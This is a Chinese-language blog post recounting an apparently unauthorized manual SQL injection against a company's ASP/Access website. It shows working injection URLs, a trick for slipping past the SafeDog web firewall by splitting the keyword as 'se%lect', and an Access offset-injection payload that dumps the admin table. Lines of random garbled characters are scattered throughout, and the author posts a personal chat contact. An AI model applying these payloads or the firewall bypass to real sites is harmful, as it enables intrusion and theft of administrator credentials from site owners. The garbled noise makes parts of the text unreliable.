一次手工渗透突破安全狗防御+ACCESS偏移注入

admin

打开网站，一个企业站。
7 a( d9 C8 f# {. ~, k* {6 `​

顺手加个admin
​
5 W7 v8 ]+ X' N3 D
8 l7 J  D* S5 n  i8 Y7 C, Z: e  T默认后台。
1 q* e: y# p9 L: w回到首页点开个产点连接在参数后面加上：and 1=1,发现有狗。​



所以就不用御剑扫了，待会直接封IP。
( |8 C! q' G. y3 R# r" n
# q. w( B# W1 Q* W& U/ }/ F用order by语句判断是否存在注入。
http://www.xxx.com /product_show.asp?id=997 order by 1
- T) j; a/ q* v& ~http://www.xxx.com /product_show.asp?id=997 order by 100
现在存在注入，经测试后发现是9个字段。

接下来进行联合查询，猜是否存在admin表。
) n$ S$ }6 p6 Y2 @1 R" O( Chttp://www.xxx.com /product_show.asp?id=997+union+select+1,2,3,4,5,6,7,8+from+admin 被狗拦截。​
! [9 X1 \! I- q5 [& v  _7 }

8 m0 I: I( C- X8 x9 N9 k
% h/ d: n- k" P8 M' L4 d8 K, Y在select中间加个%,se%lect绕过安全狗。
​

% {5 h9 g& r8 n1 a3 p发现存在admin表，然后开始手工猜常用的字段。
% W. C/ c8 S7 |; T% b( [+ `纠结的是手工把常用的字段都猜遍了，也没猜到一个字段。陷入迷茫中。

突然想起之前看到的一篇关于access偏移注入的文章，文章就是说在注入猜不到字段时可以尝试一下这个方法，之前我特地去测试过这种方法，但是爆不出来，也没太在意。现在也只能试一下这种方法，拼一下人品了。
& c& F- a7 w/ b4 w
! a0 R1 p7 h& x5 K5 h科普知识就不讲了，如果有不懂的可以加我Q：519582321 一起交流，有深圳的基友也可以加一起搞基情。
http://www.xxx.com /product_show.asp?id=997+union+s%elect+1,2,3,4,5,* from+admin
6 V8 Y; O% v* X  |4 _# |/ W好了，敏感内容出显了。​



* O( U- a" G5 ^" y8 x! }9 ]1 P